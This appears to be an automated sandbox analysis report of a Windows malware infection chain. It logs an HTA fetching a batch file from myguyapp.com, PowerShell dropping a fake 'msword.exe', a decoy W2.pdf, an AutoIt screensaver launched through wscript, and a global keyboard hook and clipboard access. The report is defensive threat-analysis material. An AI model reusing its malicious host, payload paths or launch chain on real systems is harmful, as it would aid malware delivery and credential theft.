Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0063DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,38_2_0063DC54
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\mswordJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\msword\Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\Jump to behavior
Source: Joe Sandbox ViewIP Address: 178.237.33.50 178.237.33.50
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BAD889 InternetReadFile,SetEvent,GetLastError,SetEvent,36_2_00BAD889
Source: msword.exe.12.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: msword.exe.12.drString found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: msword.exe.12.drString found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: msword.exe.12.drString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: Prostores.com, 0000001C.00000003.2038016379.0000000004053000.00000004.00000800.00020000.00000000.sdmp, Prostores.com, 0000001C.00000003.2340082719.0000000001EA6000.00000004.00000020.00020000.00000000.sdmp, Presidential.15.dr, Prostores.com.19.dr, CineBlend.scr.28.drString found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Prostores.com, 0000001C.00000003.2038016379.0000000004053000.00000004.00000800.00020000.00000000.sdmp, Prostores.com, 0000001C.00000003.2340082719.0000000001EA6000.00000004.00000020.00020000.00000000.sdmp, Presidential.15.dr, Prostores.com.19.dr, CineBlend.scr.28.drString found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Prostores.com, 0000001C.00000003.2038016379.0000000004053000.00000004.00000800.00020000.00000000.sdmp, Prostores.com, 0000001C.00000003.2340082719.0000000001EA6000.00000004.00000020.00020000.00000000.sdmp, Presidential.15.dr, Prostores.com.19.dr, CineBlend.scr.28.drString found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Prostores.com, 0000001C.00000003.2038016379.0000000004053000.00000004.00000800.00020000.00000000.sdmp, Prostores.com, 0000001C.00000003.2340082719.0000000001EA6000.00000004.00000020.00020000.00000000.sdmp, Presidential.15.dr, Prostores.com.19.dr, CineBlend.scr.28.drString found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Prostores.com, 0000001C.00000003.2038016379.0000000004053000.00000004.00000800.00020000.00000000.sdmp, Prostores.com, 0000001C.00000003.2340082719.0000000001EA6000.00000004.00000020.00020000.00000000.sdmp, Presidential.15.dr, Prostores.com.19.dr, CineBlend.scr.28.drString found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: msword.exe.12.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: msword.exe.12.drString found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: msword.exe.12.drString found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: msword.exe.12.drString found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: msword.exe.12.drString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: msword.exe.12.drString found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: msword.exe.12.drString found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0J
Source: msword.exe.12.drString found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: msword.exe, 0000000F.00000000.1983404976.0000000000409000.00000002.00000001.01000000.0000000C.sdmp, msword.exe, 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmp, msword.exe.12.drString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: msword.exe.12.drString found in binary or memory: http://ocsp.digicert.com0C
Source: msword.exe.12.drString found in binary or memory: http://ocsp.digicert.com0H
Source: msword.exe.12.drString found in binary or memory: http://ocsp.digicert.com0I
Source: msword.exe.12.drString found in binary or memory: http://ocsp.digicert.com0O
Source: Prostores.com, 0000001C.00000003.2038016379.0000000004053000.00000004.00000800.00020000.00000000.sdmp, Prostores.com, 0000001C.00000003.2340082719.0000000001EA6000.00000004.00000020.00020000.00000000.sdmp, Presidential.15.dr, Prostores.com.19.dr, CineBlend.scr.28.drString found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Prostores.com, 0000001C.00000003.2038016379.0000000004053000.00000004.00000800.00020000.00000000.sdmp, Prostores.com, 0000001C.00000003.2340082719.0000000001EA6000.00000004.00000020.00020000.00000000.sdmp, Presidential.15.dr, Prostores.com.19.dr, CineBlend.scr.28.drString found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Prostores.com, 0000001C.00000003.2038016379.0000000004053000.00000004.00000800.00020000.00000000.sdmp, Prostores.com, 0000001C.00000003.2340082719.0000000001EA6000.00000004.00000020.00020000.00000000.sdmp, Presidential.15.dr, Prostores.com.19.dr, CineBlend.scr.28.drString found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Prostores.com, 0000001C.00000003.2038016379.0000000004053000.00000004.00000800.00020000.00000000.sdmp, Prostores.com, 0000001C.00000003.2340082719.0000000001EA6000.00000004.00000020.00020000.00000000.sdmp, Presidential.15.dr, Prostores.com.19.dr, CineBlend.scr.28.drString found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: Prostores.com, 0000001C.00000003.2038016379.0000000004053000.00000004.00000800.00020000.00000000.sdmp, Prostores.com, 0000001C.00000003.2340082719.0000000001EA6000.00000004.00000020.00020000.00000000.sdmp, Presidential.15.dr, Prostores.com.19.dr, CineBlend.scr.28.drString found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Prostores.com, 0000001C.00000003.2038016379.0000000004053000.00000004.00000800.00020000.00000000.sdmp, Prostores.com, 0000001C.00000003.2340082719.0000000001EA6000.00000004.00000020.00020000.00000000.sdmp, Presidential.15.dr, Prostores.com.19.dr, CineBlend.scr.28.drString found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: Prostores.com, 0000001C.00000003.2038016379.0000000004053000.00000004.00000800.00020000.00000000.sdmp, Prostores.com, 0000001C.00000000.2031404136.0000000000345000.00000002.00000001.01000000.0000000F.sdmp, CineBlend.scr, 00000024.00000000.2043279107.0000000000C05000.00000002.00000001.01000000.00000011.sdmp, CineBlend.scr, 00000026.00000002.2207796364.00000000006A5000.00000002.00000001.01000000.00000011.sdmp, Prostores.com.19.dr, Metallic.15.dr, CineBlend.scr.28.drString found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: msword.exe.12.drString found in binary or memory: http://www.digicert.com/CPS0
Source: msword.exe.12.drString found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.drString found in binary or memory: http://x1.i.lencr.org/
Source: mshta.exe, 00000000.00000003.1984704836.000000000A3BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1990413296.000000000A3BD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com
Source: cmd.exe, 00000021.00000002.2040261379.0000000002EE0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.cX
Source: mshta.exe, 00000000.00000003.1984218231.00000000031C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984631403.00000000031C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984345396.00000000031C1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1986530276.00000000031C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1989049206.00000000031C4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/6D
Source: mshta.exe, 00000000.00000003.1984218231.00000000031C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984631403.00000000031C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984345396.00000000031C1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1986530276.00000000031C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1989049206.00000000031C4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/MD
Source: tasklist.exe, 00000015.00000002.2022551965.0000000002DCC000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2021952305.0000000002DBF000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2022018394.0000000002DCB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/W2
Source: tasklist.exe, 00000017.00000002.2028417188.0000000002E80000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000017.00000002.2028054246.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000001D.00000002.2084148337.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000001D.00000002.2084304849.00000000034D8000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2038437182.0000000002650000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2038464113.000000000267B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000021.00000002.2040494618.00000000031B0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000021.00000002.2040183078.0000000002DBB000.00000004.00000020.00020000.00000000.sdmp, c2[1].bat.0.drString found in binary or memory: https://myguyapp.com/W2.pdf
Source: msword.exe, 0000000F.00000002.1999832718.000000000074E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/W2.pdf.
Source: msword.exe, 0000000F.00000003.1999229661.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 0000000F.00000002.1999832718.00000000007C7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/W2.pdfUSERDOMA
Source: cmd.exe, 00000021.00000002.2040261379.0000000002EE0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/W2.pdfUSERDOMAIN=TTCBKWZUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPRO
Source: tasklist.exe, 00000017.00000003.2027408299.0000000002EBA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000017.00000003.2027282495.0000000002EBA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000017.00000002.2028472272.0000000002EBA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/W2.pdfl~e
Source: mshta.exe, 00000000.00000002.1987968160.0000000000CF7000.00000004.00000010.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1988750902.000000000316F000.00000004.00000020.00020000.00000000.sdmp, c2.htaString found in binary or memory: https://myguyapp.com/c2.bat
Source: mshta.exe, 00000000.00000003.1984218231.00000000031C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984631403.00000000031C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984345396.00000000031C1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1986530276.00000000031C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1989049206.00000000031C4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/c2.batEH
Source: mshta.exe, 00000000.00000003.1984218231.00000000031C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984631403.00000000031C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984345396.00000000031C1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1986530276.00000000031C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1989049206.00000000031C4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/c2.batEK
Source: mshta.exe, 00000000.00000003.1986911555.000000000A4A7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/c2.batM
Source: mshta.exe, 00000000.00000002.1988431271.000000000310E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/c2.bata
Source: msword.exe, 0000000F.00000003.1999229661.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 0000000F.00000002.1999832718.00000000007C7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/msword.z
Source: mshta.exe, 00000000.00000003.1984704836.000000000A42A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1986859763.000000000A9D0000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 0000000F.00000002.2000214763.0000000002300000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 0000000F.00000002.1999832718.000000000074E000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 0000000F.00000002.1999815471.0000000000730000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2022501702.0000000002DA8000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2022018394.0000000002DD9000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2022607509.0000000002DD9000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2022123246.0000000002DD9000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2022446561.0000000002D20000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000017.00000003.2027408299.0000000002EBA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000017.00000003.2027282495.0000000002EBA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000017.00000002.2028472272.0000000002EBA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000017.00000002.2028417188.0000000002E80000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000017.00000002.2028054246.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000001D.00000002.2084148337.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000001D.00000002.2084304849.00000000034D8000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2038437182.0000000002650000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2038464113.000000000267B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000021.00000002.2040494618.00000000031B0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000021.00000002.2040183078.0000000002DBB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/msword.zip
Source: msword.exe, 0000000F.00000002.1999832718.000000000074E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/msword.zipF
Source: cmd.exe, 00000021.00000002.2040183078.0000000002DB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/msword.zipurl2=https://myguyapp.com/W2.pdfUSERDOMAIN=TTCBKWZUSERDOMAIN_ROAMINGP
Source: mshta.exe, 00000000.00000003.1987593680.000000000A3EA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1990980601.000000000A3EC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984704836.000000000A3E7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com0
Source: Prostores.com, 0000001C.00000003.2038016379.0000000004053000.00000004.00000800.00020000.00000000.sdmp, Prostores.com, 0000001C.00000003.2340082719.0000000001EA6000.00000004.00000020.00020000.00000000.sdmp, Presidential.15.dr, Prostores.com.19.dr, CineBlend.scr.28.drString found in binary or memory: https://www.autoitscript.com/autoit3/
Source: msword.exe.12.drString found in binary or memory: https://www.digicert.com/CPS0
Source: CineBlend.scr.28.drString found in binary or memory: https://www.globalsign.com/repository/0

Key, Mouse, Clipboard, Microphone and Screen Capturing

barindex
Installs a global keyboard hook
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comWindows user hook set: 0 keyboard low level C:\Users\user\AppData\Local\Temp\677826\Prostores.com
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 15_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,15_2_004050F9
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BAF7C7 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,36_2_00BAF7C7
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0064F7C7 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,38_2_0064F7C7
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BAF55C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,36_2_00BAF55C
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 15_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,15_2_004044D1
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BC9FD2 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,36_2_00BC9FD2
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_00669FD2 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,38_2_00669FD2

System Summary

barindex
Drops large PE files
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile dump: msword.exe.12.dr 524295939Jump to dropped file
Powershell drops PE file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\msword\msword.exeJump to dropped file
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}
Wscript called in batch mode (surpress errors)
Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js"
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BA4763: GetFullPathNameW,_wcslen,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,36_2_00BA4763
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B91B4D LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,36_2_00B91B4D
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 15_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,15_2_004038AF
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B9F20D ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,36_2_00B9F20D
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0063F20D ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,38_2_0063F20D
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeFile created: C:\Windows\DischargeFlowers
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeFile created: C:\Windows\StartupDecision
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeFile created: C:\Windows\GazetteUna
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeFile created: C:\Windows\PerfumeDiscussions
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeFile created: C:\Windows\HospitalityCelebrities
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeFile created: C:\Windows\DrawnScanner
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeFile created: C:\Windows\PdasSalaries
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 15_2_0040737E15_2_0040737E
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 15_2_00406EFE15_2_00406EFE
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 15_2_004079A215_2_004079A2
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 15_2_004049A815_2_004049A8
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B5801736_2_00B58017
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B3E1F036_2_00B3E1F0
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B4E14436_2_00B4E144
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B522A236_2_00B522A2
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B322AD36_2_00B322AD
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B6A26E36_2_00B6A26E
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B4C62436_2_00B4C624
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BBC8A436_2_00BBC8A4
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B6E87F36_2_00B6E87F
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B66ADE36_2_00B66ADE
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BA2A0536_2_00BA2A05
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B98BFF36_2_00B98BFF
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B4CD7A36_2_00B4CD7A
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B5CE1036_2_00B5CE10
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B6715936_2_00B67159
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B3924036_2_00B39240
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BC531136_2_00BC5311
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B396E036_2_00B396E0
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B5170436_2_00B51704
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B51A7636_2_00B51A76
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B57B8B36_2_00B57B8B
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B39B6036_2_00B39B60
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B57DBA36_2_00B57DBA
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B51D2036_2_00B51D20
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B51FE736_2_00B51FE7
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005F801738_2_005F8017
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005EE14438_2_005EE144
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005DE1F038_2_005DE1F0
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0060A26E38_2_0060A26E
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005D22AD38_2_005D22AD
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005F22A238_2_005F22A2
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005EC62438_2_005EC624
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0060E87F38_2_0060E87F
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0065C8A438_2_0065C8A4
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_00642A0538_2_00642A05
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_00606ADE38_2_00606ADE
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_00638BFF38_2_00638BFF
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005ECD7A38_2_005ECD7A
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005FCE1038_2_005FCE10
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0060715938_2_00607159
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005D924038_2_005D9240
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0066531138_2_00665311
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005D96E038_2_005D96E0
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005F170438_2_005F1704
